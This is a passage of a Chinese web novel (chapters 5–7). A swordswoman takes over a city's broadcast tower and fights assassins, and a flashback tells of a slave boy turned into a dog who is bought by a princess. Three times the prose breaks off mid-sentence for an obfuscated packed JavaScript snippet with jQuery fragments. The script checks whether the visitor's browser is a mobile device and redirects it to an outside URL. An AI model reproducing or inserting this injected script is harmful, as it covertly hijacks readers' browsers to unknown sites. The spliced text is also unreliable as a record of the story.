“市民广场前,离我家不远。”
朝暮一把将章语塞进飞船:“带路。”
“等等!你不是要杀人吗?”
厉暝有意将潘德莫的科技压制在方便控制的水平,整个城市还在用古老的地面广播方式传播信号。
飞船被高调地开到电视塔上空,朝暮抱着章语跳下去,稳稳落在塔顶。
“周围肯定有隐形摄像机,我们被全程直播了!”章语顶着大风吼道。
“播吧。”朝暮的声音平稳极了,丝毫不受大风影响,她从怀中拿出一个银色盒子,把盒子放在塔顶正中央。
“希望所有维度的奴隶都能看见。”她轻轻地说,声音被呼呼作响的风刮散。
刚一接触塔顶,盒子表面便闪烁起错综复杂的蓝色光纹。紧接着,光纹如同深邃湖面的涟漪,用肉眼难以捕捉的速度蔓延至整座高塔,所经之处的电流被扰乱,迸发出星星点点的火花。
这是塞拉的能力——数据微粒。作为新纪元后诞生的智械体,塞拉的发明者将唯物与唯心的力量完美结合,她可凭借这一能力迅速渗透并链接到任何具备电子元件的设备上。
电视塔顶端的发射装置剧烈震颤,发出嗡嗡的蜂鸣声,原本定向发射的信号波束变得紊乱无序,向着四面八方散射开来。城市中,无论是繁华商业区的显示屏,还是居民楼里的老式电视机,画面先是一阵剧烈的雪花噪点闪烁,随后逐一被冷蓝色的光芒取代。
长刀砍断铁链的简易标志出现在屏幕上,那是自由冒险者协会的会标。
塞拉毫无感情的机械女声响彻云霄:“亲爱的市民们,潘德莫已被自由冒险者协会接管,我们来到这里,是要告诉你们一个被长久隐瞒的残酷真相……”
章语目瞪口呆望着左侧大楼的显示屏,她震撼地问:“你一个人接管整个潘德莫?”
朝暮没回答,她从风衣内袋费劲翻出一个耳麦,耳麦泛起幽蓝的光,塞拉的声音传出来:“会长。”
“你们什么时候到?”
“到不了,我还没找到维度入口。”
原定的计划,朝暮先潜入潘德莫,再激活数据微粒让塞拉迅速锚定维度位置,然后灵真率领战斗员冲进来救走奴隶。
计划被打乱了。
朝暮捏着耳麦:“先给我定位厉暝。”
“……您右手边的市民广场,厉暝冒着随时被您从天而降一刀砍成两段的风险,坚定地发表新一期真人秀开场词,与您直线距离仅1.8公里。”冰冷的机械女声中含着一丝微妙的情绪。
朝暮笑了:“胆子这么大,或者单纯想激怒我?”
“我亲爱的会长,有没有一种可能,是他先被您激怒了?”
“等事情结束快更新你的情感矩阵吧,你说话总是阴阳怪气。”
塞拉辩解:“并非阴阳怪气,我生成的回答都是基于所学到的语言知识和逻辑推理,旨在以清晰、准确的方式传达信息和解答问题——。”
“说点有用的。”朝暮打断她。
“看到您英勇的身姿出现在直播间,厉暝立刻恼羞成怒,把1亿2000万全部梭/哈,公开悬赏您的人头。”塞拉礼貌地说,“算算时间,杀手已经到了。”
朝暮咆哮:“杀手都能进维度!你怎么找不到入口?”
“——嗡嗡嗡”
塞拉的第二轮辩解被摩托车的轰鸣声淹没,章语的身体被冻在原地,她眼睁睁看着一辆覆盖吸光涂层的摩托车顺着电视塔的外壁急速攀升而上。
全身高度改造的杀手骑在摩托上,身体表面看不出任何生物特征,他那双冰冷的电子眼先锁定章语,随后立刻切换目标,紧紧盯住章语身后的朝暮。
“趴下!”朝暮断喝。
章语的身体仿佛被咒语解冻,大脑接收指令的刹那,她咣当一声卧倒在地。
“轰隆轰隆轰隆——”
杀手胯/下的摩托跳过前两段加速直接进入高转速区,轮胎紧抓地面,溅起一串串火花,流线型车体裹挟强大的冲击力冲破楼顶的防护栏杆,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929914|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向朝暮直撞而去。
他的速度实在是太快了,快到周围的物体被掠过时传来模糊的回声,快到章语回头时只看见蹁跹飞舞的雪白风衣和战靴上亮眼的银钉。
但朝暮的刀比他还快。
一身白衣的剑士弓步下压,右腿弯曲,左膝近乎平行于地。她身体前倾,右手按在刀柄上。长刀像是利箭,她本人则是那把蓄势待发的软弓。
电光火石间,她和她的刀一同出鞘。
没有声音,也没有想象中的寒光,她斩下改造人杀手的头颅,如同削断一缕发丝,然后她收刀入鞘,发出熟悉的“呛啷”声。
杀手的身体从飞驰的摩托车上跌落下来重重摔在一旁,但失去控制的摩托车依旧凭借惯性朝前方冲去。
朝暮挤出一个犹带血气的狞笑,左腿迅速向前迈出一大步,脚掌稳稳踏在地面上,右腿高高抬起,猛地朝摩托车的车头踹去。
章语伏在地上抬头,看见朝暮的腿部肌肉绷紧,把过膝战靴撑出精悍的线条。
她的腰腹收得很紧,靠不可思议的核心力量控制全身,从颈部开始,连接蝴蝶骨与腰,再到股直肌和双脚,整个人如同一柄插在地上的长枪,战靴的金属鞋跟则是枪尖,深深嵌进地面。
章语呆呆地望着她,简直觉得不可思议,朝暮看上去瘦长匀称的一条人,竟能爆发出这样的力量。
一脚下去,摩托车的车身剧烈摇晃几下,终于暂时停下,它发出一阵不甘心的嗡嗡声,持续保持向前冲刺的势头。
章语哆嗦着爬起来,刚想说点感谢的话,却一眼看见朝暮太阳穴上的红点。那光点出现得如此突兀,以至于章语一开始没反应过来它是什么。
等她宕机的大脑重启成功,沉闷的消音后枪声响起,她才反应过来,那个红点是瞄准镜准星。
“狙击手!”章语失声尖叫。
然而已经晚了,超音速子弹不同于小型脉冲枪,它保留了原始热武器的优点——远距离高精度。
子弹正中朝暮的太阳穴,毫无阻碍地穿过她的头颅,在塔顶的地面上打出一个深坑。
但朝暮头上连一丝血都没有。
“啊?”章语像没睡醒一样。
“是四无色定。”朝暮摸了摸腰间的刀。
佛刀四无色定,寓意超凡脱俗、心无杂念、物我两忘的境界。它的主人无法使用任何热武器伤敌,但相应的,它帮主人对立掉所有来自热武器的伤害。
章语根本没听懂,如果不是风糊在脸上刮得生疼,她真就以为自己身在梦中。
另一边,狙击手迅速决定撤退。从塔顶望去,狙击点在左侧大楼的楼顶。楼体外侧的大屏幕还在播放塞拉毫无感情的演讲:
“……是世纪互娱的奴隶,你们一直被当作毫无尊严的展品,被无情地豢养直播。直播收益下降后,策划部的组长以血/腥/暴力为卖点操控你们的人生……”
屏幕上的会标被切换成直播剪辑,紧接着播放灵真录下的会议内容,张涵薇的话语在每个人耳边清晰响起:“我将安排章语插足情侣间的恋爱,引导她的粉丝和普通观众发生冲突……”
章语突然不经大脑地问:“你强到这种程度,真的还需要我们这些奴隶吗?”
5. 四无色定
话问出口,章语又后悔又害怕,几乎想扇自己一巴掌。她从温暖的家里被朝暮硬塞进飞船,身上只穿一套居家服,此刻被塔顶的罡风吹得直哆嗦。
朝暮只是安抚性地笑了笑:“我需要你们,你们也需要我。”
章语无法理解她的话,她也没准备解释,她脱下风衣盖在章语肩上:“戴好面具,穿暖和点,和大家一起跑吧。”
塞拉正好讲到撤离的部分:“自由冒险者协会将有序接管潘德莫维度,请迅速收拾必要的物品,带上老人与孩子……”
风衣下是一件自带胸甲的无袖作战服,朝暮的前半截左臂被包裹在银色的机械部件中。
那并非人体改造的痕迹,也不可能是热武器,而是——她高抬左臂,虚虚瞄准狙击点,拉紧弓弦后,一枚飞钩连着钢索深深钉进大楼的墙体。
狙击手轻蔑地看了一眼飞钩,遥遥对着朝暮做出一个侮辱性手势,他炫耀般展开背后的滑翔翼,从楼顶一跃而下。
这下连章语都看出来了,朝暮原本准备用钢索与飞钩跃迁到左侧大楼斩杀狙击手,但谁也想不到狙击手有滑翔翼。章语忍不住劝她:“追不上就算了吧。”
朝暮瞬间将摩托车的油门拧到最大。
“轰隆——”
她身体前倾,双腿绞紧车身,左手死死拽住钢索,操控着摩托车从电视塔塔顶垂直向下俯冲!
轻型滑翔翼上的狙击手听见轰鸣声后立刻调整方向,然而为时已晚,摩托车凭借重力加速度飞快向下冲去,快到轮胎近乎抓不住电视塔外侧的金属复合板。
与此同时,朝暮左手猛拉钢索,她大臂上的肌肉清晰可见,硬拉摩托车加上她本人近300公斤的重量。
巨大的拉力下,摩托车向侧方倾斜,轮胎与复合板摩擦出一串火花,朝暮的手臂上爆出青筋。
“呲呲呲呲呲——”
令人牙酸的摩擦声响起,摩托车在她的拉动下强行改变轨迹,以飞钩为圆心,钢索为半径,在电视塔外墙画出一个完美的圆弧。紧崩的钢索如同追命刀,跟随圆弧的轨迹向狙击手横扫而去!
血雨飘洒,狙击手和他的滑翔翼一起被勒成两段。
朝暮收回飞钩,带着杀戮后的惬意与血脉中的暴虐缓缓抬头,望向远方市民广场上的小黑点,那必然是厉暝,只有厉暝如此清晰地知道怎么激怒她。
隔着血雨,背生双翅的狗族兽人拦住她的去路,两只畸形的翅膀遮挡她望向厉暝的视线。
真是恶心透了,朝暮漠然地想。整容成人类的兽人,移植翅膀的兽人,厉暝最擅长制造这些“自愿”的人。
冰冷的血液在体/内沸腾,她陷入一种暴虐却喜悦的情绪中,理智被战意与杀意侵蚀。
半空中的兽人举起利刃向她飞来,她毫不犹豫地舍弃摩托车,任由自己向下坠落。发现她没有反制手段,兽人像吃了兴奋剂一样怒吼着加快速度。
好丑陋。
另一个念头不受控制地划过她的大脑:如此丑陋的生物还有很多,他们值得她多看一眼吗?
下落中的朝暮拔出了刀。
拔刀斩的势能将周围空气急剧压缩,形成肉眼可见的气旋,呼啸着向四周扩散。她向虚空砍去,势能转化为动能,她的身形在空中划过一道弧线,脚下的空气被她快速掠过的身躯挤压出阵阵爆鸣声,与刀身破风的呼啸声交织在一起。
收刀入鞘时,她的身形已经出现在兽人背后。
刀刃再一次出鞘,二次拔刀。
狗族兽人似是感到死亡将至,他补救般喊:“朝暮……盟主!”
朝暮的瞳孔微微缩紧。
拔刀斩的轨迹在最后一刻偏移,四无色定将兽人的右侧翅膀从根部砍断。朝暮本人也从暴虐的兴奋中挣脱出来,她定神去看坠落的兽人。
兽人的另一只翅膀无助拍打着,像一枚树叶旋转飘落。
是沃夫.迅爪,联盟未解散时的成员,在她与厉暝决裂后选择跟随厉暝。
这一刻,沃夫畸形的翅膀与整得不人不狐的灵奇重叠了。朝暮完全找回理智,她知道自己刚刚又被血脉中的暴虐操控,才会产生不可控的想法。
她深吸一口气,再次拔刀,流星般向厉暝冲去。
市民广场位于潘德莫的正中心,周围高楼大厦林立成群,高远天空中虚假的太阳仍在不知疲惫地工作,光线在大楼的外墙上几经反射,把玻璃幕墙照得像是包裹火焰的冰川,而朝暮则是那把切割冰川的金钢石锯片。
没有喜悦,没有痛苦,甚至没有仇恨,朝暮平静地奔向她的仇敌。
无数声音在她耳边响起,有塞拉念经一样的播报,有潘德莫居民的尖叫,还有呼呼的风声与空气的爆鸣声。恍惚间,她听见熟悉的声音叹息般说:
【不要再恨了……】
【你成为别人的仇敌,也成为星辰大地、传唱的故事、树上的苹果与其它美好事物的仇敌。】
话音落下的瞬间,厉暝的脸出现在朝暮的视网膜上,她把厉暝的胸膛作为落脚点,借助拔刀斩剩余的冲击力当胸一踹,脚踏厉暝的身体飞出数米远。
偌大的广场上只有他们二人,连隐形摄像机都失去踪影。朝暮坐在厉暝的胸膛上,一条腿随意地盘着,另一条腿踩在他的耳边。
四无色定横在厉暝的脖子上,朝暮直视他的眼睛,问出重逢后的第一个问题:“杀死弟弟,你后悔过吗?”
厉暝没有回答,他盯着朝暮锆石般的眼睛,在不移开视线的前提下慢慢抬手,小心翼翼抚摸横陈的长刀。指尖还没触碰刀刃,皮肤就被隔空划开了。
血珠滴落到四无色定上,疼痛沿神经末梢迅速抵达大脑,厉暝的脸上浮现出如梦初醒的神色,他低低地笑。
那笑声从胸腔深处源源不断地涌出,带来一阵闷闷的震动,坐在他胸膛上的朝暮连带着一起晃动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929915|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝暮勃然大怒,横陈的长刀猛然翻转,直直插进厉暝耳边的地面,而厉暝连一个眼神都没有施舍给距离极近的刀尖,他始终注视着朝暮的眼睛,简直像是害怕失去他的视线朝暮就会从此消失。
他突然抽动两下鼻翼,闻见一股血腥味。
“你受伤了?”他问。
厉暝不等朝暮回答,伸手握住她的脚踝,沿着脚踝向前摸去,摸到一块干涸的血迹,那是灵奇的血,朝暮曾经一脚抽向灵奇的脸。
黑红的血迹在雪白的战靴上极为显眼,厉暝不停抚摸那块血迹,又去看朝暮的眼睛,金色的眼睛像琉璃一样映着他的身影。
朝暮微微转动刀柄,答非所问:“这把刀叫四无色定,对应今天死在刀下的三个人。”
“第一定叫空无边处定,即消灭所有不善的想法。我杀的第一个人就是你手下的职工,他死前拿着枪和面具,要按照方案杀死自己的同类,以供有钱人取乐。”
“第二定叫识无边处定,思维识别无边之相。我杀的第二个人是名改造人杀手,他看上去比智械体还像智械体,却选择用高度文明的科技去满足最低级的杀戮欲望。”
“第三定叫无所有处定,是超越第二定的境界。我杀的第三个人恰好是比改造人杀手更精明一点的狙击手,他至少懂得逃跑。”
“第四定叫非想非非想处定,没有欲望与物质,只有微细的思想,那是给纯白无垢之人预定的死亡。”
话语停顿,朝暮定定地盯着厉暝看了一会,她微微一笑:“所以你不会死在四无色定下。”
“我……”厉暝从痴痴的状态中抽离,似乎想说些什么。
“你也不会为了杀死亲弟弟而后悔。”朝暮好像遗憾极了,“问出问题的我才需要后悔。”
她的身/下,厉暝迟疑地说:“我好像……”
朝暮松开握刀的手,摘下白色手套,双手铁钳般掐住厉暝的咽喉!
“我好像……不是厉暝。”
后四个字伴随喉骨的咯吱声一同响起,声音被朝暮的手劲掐到变形。
即使是死前最后一刻,自称不是厉暝的男人还在凝望朝暮的眼睛,金色的眼睛仿佛真正的太阳般燃烧。
紧掐脖子的手突然放松了。
接触到身/下男人皮肤的瞬间,无数回忆涌入朝暮的脑海。不,那不是回忆,而是记忆,是已逝故人的记忆。之所以误认为是回忆,是因为朝暮曾经用另外的视角参与过这段记忆。
那时她还叫凄辞暮,这个讨厌的名字是黄金王朝第一顺位继承人的代称。他们说她是光芒璀璨的皇嗣殿下;黄金血脉的唯一传承者;无上冠冕的指定继承人,无数人期盼她续写二代女皇的辉煌篇章。
他们叫她殿下,她的母皇叫她“你”,没有人叫过她的名字,没有人问过她真正想要什么,除了一条狗。
阿草。
朝暮沉沦在阿草的记忆中。
6. 阿草狗时候
十三岁的阿草决定彻底不做人了。
做人有什么好?做人可太苦了。
比如他妈妈,明明是个好端端的人,却生来就是奴隶,浑浑噩噩度过二十年,突然间有了孩子。为了不让孩子延续她的命运,她主动去给百八面婆婆做药奴,在颅骨与真皮层下种植珍贵的药物,来换取孩子不做奴隶的机会。
那个孩子就是阿草。
他没有姓氏,只有名字。他妈妈也想不出别的字,园子里最珍贵最漂亮的东西是各种药草,于是她的孩子就叫草。
药种的根系扎进内脏与大脑,胚芽刺破皮肤,一天天吸收妈妈的生命力。百八面婆婆不给她止疼药,因为其它药物可能与珍贵的药种相克。
阿草八岁那年,胚芽终于展开叶片,妈妈找到婆婆,要求婆婆兑现承诺,让阿草不再做奴隶。
“哈哈哈哈——”婆婆疯狂大笑,像是听到此生最大的笑话,“我也是奴隶,怎么让你的孩子不做奴隶?”
妈妈早有准备,她抽出藏在袖子里的刀,要和已长出叶片的珍贵药草同归于尽。
“你等等!”婆婆赶紧服软,“我有别的办法!”
百八面婆婆对八岁的阿草露出一个缺牙的笑容:“不做奴隶还不简单?不做人就好了!”
于是阿草被卖给一个戏班子,他被剥下人皮种上狗皮。
在戏班子当狗的日子其实比种植园里快活很多,但他的双手和狗皮一直无法融合,他总觉得人手比狗爪子方便,如果有机会,他一定脱离戏班子,剥掉狗皮重新做人。
直到班主犯事,戏班子上上下下都被杀,阿草才发现做狗的好处。
整个戏班子一共38人,只有他顺着狗洞钻出院子,保住一条狗命。那一天,阿草的双手和狗皮完全融合了。
十三岁的阿草下定决心不做人了,他要做一条狗中之狗。
什么是狗中之狗?对阿草来说,不用钻火圈表演,不用流浪翻垃圾桶的宠物狗就是狗中之狗。他干脆混进运往黄金城的货车,准备找个大贵族当主人。
按照阿草对世界的浅薄认知,黄金城是全宇宙的中心,凄氏王朝用近600年时间凭空建造一个以黄金为基底的维度,维度的规则被皇帝牢牢掌控在手中,大大小小的贵族以在黄金城生活为荣。
在他出身的灵异维度,即使是大贵族也摸不着黄金城的边,最多能砸钱送孩子去游学。
而他,阿草,一步到位。他现在正蜷缩在黄金城宠物商店的笼子里,准备被人买走。
这是黄金城最大的宠物商店,从普通的猫猫狗狗到修真维度的龙与白虎,尊贵的客人们想要什么有什么。
阿草听见店长和培育师说话:
“兽人的适应性进化太惊人了,红区那边仅仅繁育五代,兔族兽人就从肥壮的品种变成纤细漂亮的小兔子。”
“你说我们能培育个智力低下但外表可爱的品种当宠物卖吗?”
阿草差点把隔夜狗粮吐出来。
不知道为什么,他天生怀有对奴隶制度的憎恨与厌恶,从小生活的环境没能同化他,采生折割的折磨没能磋磨他,他反而越来越恨,越来越不解,即便他下定决心不做人了。
笼子外,培育师赶紧奉承店长:“天才啊!我怎么想不到这么棒的主意?实施起来不难,我们从红区买几窝同父同母的小兽人——”
“店长!”
培育师的话被一名气喘吁吁冲刺进店的员工打断了。
“怎么了?慌里慌张的。”店长明显不太高兴。
“宫、宫廷大臣来——”
“谁来了?你说谁来了!”这次换成店长打断员工,她表情扭曲,激动、喜悦和诚惶诚恐混在一起,把旁边的培育师吓了一跳。
宫廷大臣?阿草恹恹地趴在笼子里,目送店长弯腰小跑迎接贵客。
他神经质地啃咬前爪腕关节,自从手和狗皮融合,他总觉得腕关节处像生锈一样发痒,仿佛身体替灵魂抗议他不做人的决定。
难道还能有皇室成员亲自来店里挑宠物?阿草毫不客气地嘲笑店长。
他很快笑不出来了。
店长将贵客送走,把所有员工叫齐,大声公布好消息:“公主殿下要来挑宠物!”
所有人都忙碌起来,员工和清洁机器人一起趴在地上清理瓷砖缝里的污渍,店长亲自检查宠物展示柜。
她在阿草的笼子前停下脚步:“这比格……”
从外表看,阿草是一只四个月大的比格幼犬。他的长相放在比格里也称得上特殊,既不乖巧可爱,也不机警灵巧,不屑一顾四个字可能更适合他。
浓浓的全包眼线,露出下三白的厌世眼神,看人时的总是一副不屑一顾的神情,让他看上去极有个性,天生一副不好相处的模样。
培育师注意到店长微皱的眉头,立刻说:“看着怪凶的,别吓到殿下,我这就把它扔掉。”
阿草当即站了起来,努力提起嘴角摆出一副笑脸,呜呜咽咽地扑向展示柜玻璃。
他就差给店长跳段体操。
“……算了。”店长的眉头舒展开,“和别的狗不一样,也算是我们店的特色。”
她犹豫片刻:“还是别放这里,把比格和后排的萨摩耶换个位置。”
一句话让阿草逃脱被扔掉的命运,但被换到展示柜后排右下角的笼子里。他感到一丝庆幸,还有一股憋屈的无奈——他都放弃人类身份选择做狗了,还是被他人主宰命运。
店长安排好所有工作,踩着高跟鞋风风火火地走了。店里的员工都在小声议论那位即将到来的“殿下”,宠物商店简直因这两个字而蓬荜生辉。
阿草对他们口中的殿下没有兴趣,他翻着肚皮,用前爪盖住眼睛蒙头大睡,睡梦中还在啃咬腕关节。
这一睡就睡到晚上,外面的大堂传来轻微的笑声和恭敬的话语声,阿草知道是殿下来了。展示厅的小动物被员工喊醒,每一只动物都吃到了小零食,以保证它们处于兴奋亲人的状态。
被吵醒的阿草立起前爪,趴在玻璃上摇头晃脑蹦蹦跳跳,把大耳朵甩得飞起来,努力摆出一副谄媚的样子。他微微垂下眼皮,掩饰自己眼中的愤恨,那是不该出现在一只狗身上的怪异神情。
他的童年在种植园度过,尝遍各种委屈和痛苦,见识过太多底层奴隶。他们比起人,更像狗,或者说比起狗,更像某种原始动物。
种植园的物资其实一点也不匮乏,至少食物肯定能供所有人吃饱,但他们还是活得没有任何尊严,人格被轻易践踏。最可悲的是,这种践踏来自于奴隶之间。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929916|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年长的奴隶,比如百八面婆婆,她自己明明也是奴隶,却总要克扣别的奴隶的伙食,换着花样羞辱他们的人格。阿草总是怀疑,根本没有什么药物相克的说法,百八面只是想折磨他妈妈,才不给止疼药。
底层就是这样,比阿草混过的流浪狗群还像动物世界。百八面靠不给止疼药来展示自己那小得可怜的权力和装出来的强势,还有勇于虐待同类的可笑的凶狠。她是个没牙的老婆子,这是她能想到的唯一假装强者的办法,否则她会立刻被别人欺负羞辱,她在用自己的方式维护可怜的尊严。
阿草垂着眼皮一边手舞足蹈一边胡乱思考,仿佛思考能减轻他被困在一条狗身体中的痛苦。
百八面年轻的时候是什么样子呢?阿草想。
或许和他、和他妈妈一个样子。
但百八面很快发现,在底层,在动物世界,所有的善良代表着软弱,所有的温和等同于示弱,她学会羞辱别人、为难别人,假装自己很强大。然后她完全认同这套价值体系,她不会放过任何一个羞辱为难别人的机会。
阿草忽然明白妈妈为什么要用生命把他送出种植园——即使是以狗的姿态。
妈妈死也不愿意她自己变成下一个百八面,更不愿意阿草变成百八面,她宁愿死掉,宁愿让阿草作为狗活着。
想到这里,阿草表演得更卖力了。尊贵的殿下还没进入展示厅,他已经疯疯癫癫地跳起舞,仿佛能靠用力地活着来告慰死去的妈妈。
妈妈没和他讲过大道理,对他的期待止步于不做奴隶,但他总想做些什么向妈妈证明一些他也不知道的东西。
比如作为一只宠物狗过上比很多贵族还好的生活,比如突然间获得某种奇遇改变自己的人生。
至于靠什么改变,要变成什么样,阿草完全不知道。他偷偷看过一些小说,小说主人公最大的成就无非是成为大贵族,但他不想做大贵族。
阿草突然神经质地大力啃咬前爪腕关节,想用疼痛制止自己的情绪。
然而来不及了,一种他无法克制的、堪称巨大的怨恨从心底慢慢涌上来——为什么世界上会有奴隶?
贵族凭什么是贵族?
奴隶为什么是奴隶?
那些人凭什么生来就拥有一切?
他们凭什么把自己的同类当做猪狗不如的物件对待?
阿草牙关战栗,控制不住地啃噬腕关节,可惜幼犬的牙齿咬不出血,否则他一定要把狗皮咬破,露出内里的人手。
他的异常被员工发现了,员工犹豫一小会,似乎拿不定主意,不知道该先把他抱出来,还是先向主管报告,毕竟抱走阿草后会留下一个空笼子。
来不及了——公主殿下被一群人簇拥着,浩浩荡荡地进入展厅。
员工吓得低下头,不敢直视殿下。但阿草看见了,他看见公主殿下悬浮在空中的双脚和腿上的金饰。
他立刻意识到这是谁!
辞暮公主,黄金血脉的唯一传承者,顺位第一的皇储!
只有她和女皇冕下能轻松控制整个维度的黄金,她们甚至能改变身体和空气的密度,轻松悬浮在空中。
第一次,但绝对不是最后一次,一个念头悄然浮现在阿草的脑海中,把他自己都吓了一跳:
皇室凭什么是皇室?
7. 狗坏人好
这个念头如同生于荒原的莹莹之火,把阿草的最后一丝理智烧干。
他其实是知道答案的,不凭什么,他们不配,他们和奴隶没有任何区别,他们的躯体更加孱弱,等阿草成年,长出利齿……
阿草磨了磨嘴里的牙齿,郑重地想:我将咬断未来主人的咽喉。
这何尝不是一种“做些什么向妈妈证明一些他也不知道的东西”呢?
莫名的快乐席卷阿草的感官,光是想象弑主的场景,就让他对未来充满期待。
他肚皮紧贴玻璃,在笼子里卖力蹦跳,像个擦玻璃的小工,从他的视角只能看见公主殿下的小腿和脚。
殿下悬浮在空中,飘一段停一下,然后身体向左右两侧微微旋转,似乎在看笼子里的动物。
她飘动的距离和转身的频率规律得像被设置好的机械,她的视线平等地落在每一只动物身上,完全看不出喜恶。
比起挑选宠物,她更像来视察宠物商店。如此转了几圈,把身旁的宫廷大臣转得不耐烦了。
大臣转身和店长说话,公主殿下突然在阿草面前的展示柜停下。
她的喉咙看上去很好……啊?
阿草呆住了。
公主殿下蹲下/身,好奇地和阿草对视,她的瞳孔里仿佛有金色的酒液在流动。阿草猝不及防撞进酒液中,眼皮不受控制地向上抬,眼睛也慢慢睁大,他的痛苦、他的愤恨、他的杀意就这么暴露在空气中,被殿下全部收进眼底。
殿下的好奇变成惊讶,进而转换成惊喜,她甚至对阿草笑了笑。
她在笑什么?阿草的大脑一片空白,他像是一只被树脂滴中的苍蝇,瞬间清空所有念头,只能等待变成琥珀。
没有人告诉过他,黄金城的公主这么好看,这么……正常。
没错,她和阿草见过的贵族小孩完全不同,她笑起来的神情和戏班子里的花瓶女孩一模一样。阿草的词汇量过于贫乏,实在找不出别的形容词,搜肠刮肚也只能用“正常”来形容她。
和店长说话的宫廷大臣发现公主失仪地蹲下,立刻大惊失色:“殿下!您身份尊贵,一举一动都受人瞩目,怕惹来别人的非议和揣测……”
从宫廷大臣转过头的那刻起,公主脸上生动的表情瞬间消失,她优雅地站起来,脸上的表情冷硬且端庄,眼睛如同一块经磨砂处理的钻石,收敛住所有情绪。阿草刚刚见到的灵动神情犹如一场幻觉,她用一个起身的动作把公主形象重新装备齐全,她现在比阿草见过的贵族还贵族。
“就是它了。”公主殿下漫不经心地说。
她居高临下看着阿草,却没有低下头颅,只是微微垂下视线,扫过最下方的比格幼犬。
店长连忙把阿草抱出来,放进便携箱交给女仆。
从始至终,公主没有摸过阿草一下,阿草不知道为什么有些失落。
他昏昏沉沉地闷在箱子里又睡一觉,等他被允许从箱子里出来,眼前的一切让他惊呆了。
他突然拥有一整套属于自己的套房。
一进门是按皇家标准布置的奢华客厅,明显是给公主殿下和她的客人准备的。
穿过客厅,就是阿草的卧室。以房间的夸张程度来说,更应该叫它狗乐园。
天花板上铺陈精妙的天空投影,靠墙立着一栋按幼犬体型设计的开放式三层狗别墅,别墅里布满可爱有趣的等比例造景。
狗别墅只占据房间的一角,别墅门口的“院子”竟然是一个沙坑,里面铺满洁白圆润的海沙,沙子里半埋着数不清的玩具。沙坑另一侧是给幼犬设计的丰荣设施,用来爬上爬下的管道、模拟捕猎的机械玩偶、自动抛飞盘的玩具……
更夸张的是,一片人工造景的小树林占据房间一半面积,皇家园林师们使出浑身解数,把造景弄得像真实户外景色。
阿草看懵了,他想象过皇宫奢华,但没想过这么奢华,奢华到给公主的宠物狗在室内建造乐园。
他控制住啃咬腕关节的冲动,发现周围人都用鼓励的目光看着他,阿草撒欢一样冲进别墅,视察未来的领地。
绕着沙坑跑了几圈后,阿草意识到一个问题:公主殿下为什么选他?她是不是已经知道比格的皮囊下是个活人了?
阿草在采生折割的过程中被迫和真正的狗同笼生活过很长时间,他十分清楚,自己在宠物店的表现远远超出一条狗能展现出的感情,公主很可能发现他不是狗。可是公主当时的表情不是疑惑惊恐,而是惊喜,他万分不解。
他本应因这个问题焦虑恐惧,不停地思考,就像他从前思考怎么在种植园吃饱,怎么忍受狗皮和血肉融合的痛苦,怎么向台下的看客多讨要一点钱避免挨打,怎么混在流浪狗群中不被排挤。
但他什么也没做,只是懒洋洋地躺在沙坑里,脑子停止转动,也没有任何情绪,甚至没有困意,放松地翻着肚皮,直直看着头顶的天空投影。
阿草在等那位殿下来主动找他。
一直等到碧蓝的天空投影变成星空,阿草的大耳朵才听见门外的脚步声,他猛地翻身站直,挺起胸膛。
门打开一条缝,原来不是公主殿下,是两个女仆。
阿草又懵了。
他百思不得其解,买了一条怪狗,既不摸也不抱,连看都不来看一眼,那位殿下真的是突发奇想去宠物商店视察吗?
女仆们手里拿的是一套全新的床品,她们把狗别墅的被子床单地毯全换了。
年轻一点的女仆向四周张望,发现只有一条狗,没有别人也没有摄像头,她忍不住问:“为什么要换这个?多丑啊……”
确实不好看,之前的床品是蓝绿色,和狗别墅配套,新换的床品是粉蓝色,花里胡哨的。
“别瞎说!”年长的女仆低声训斥,“殿下让换的。”
年轻女仆不说话了。
等她们走后,阿草慢吞吞进入狗别墅,凑到床边轻轻闻了闻。
他好像有点猜到那位殿下想做什么了,想让他感激涕零地享受从没见过的奢侈生活,敞开心扉和公主倾诉过往经历,被收服成一个忠心的仆人?
公主殿下可能都不敢想象,世界上还有他这样恶毒的人,他不仅不会感激,还会想办法让公主失望。
想必公主殿下顺遂的人生中从来没有体验过“失望”,世界对她来说就是乐园,即使有障碍,也都是长辈提前设置好的,努力一下就能解决的。
阿草揣测,她经历过的最大失望无非是女仆插错瓶子里的花、花园的草坪太整齐、无法在上课时间
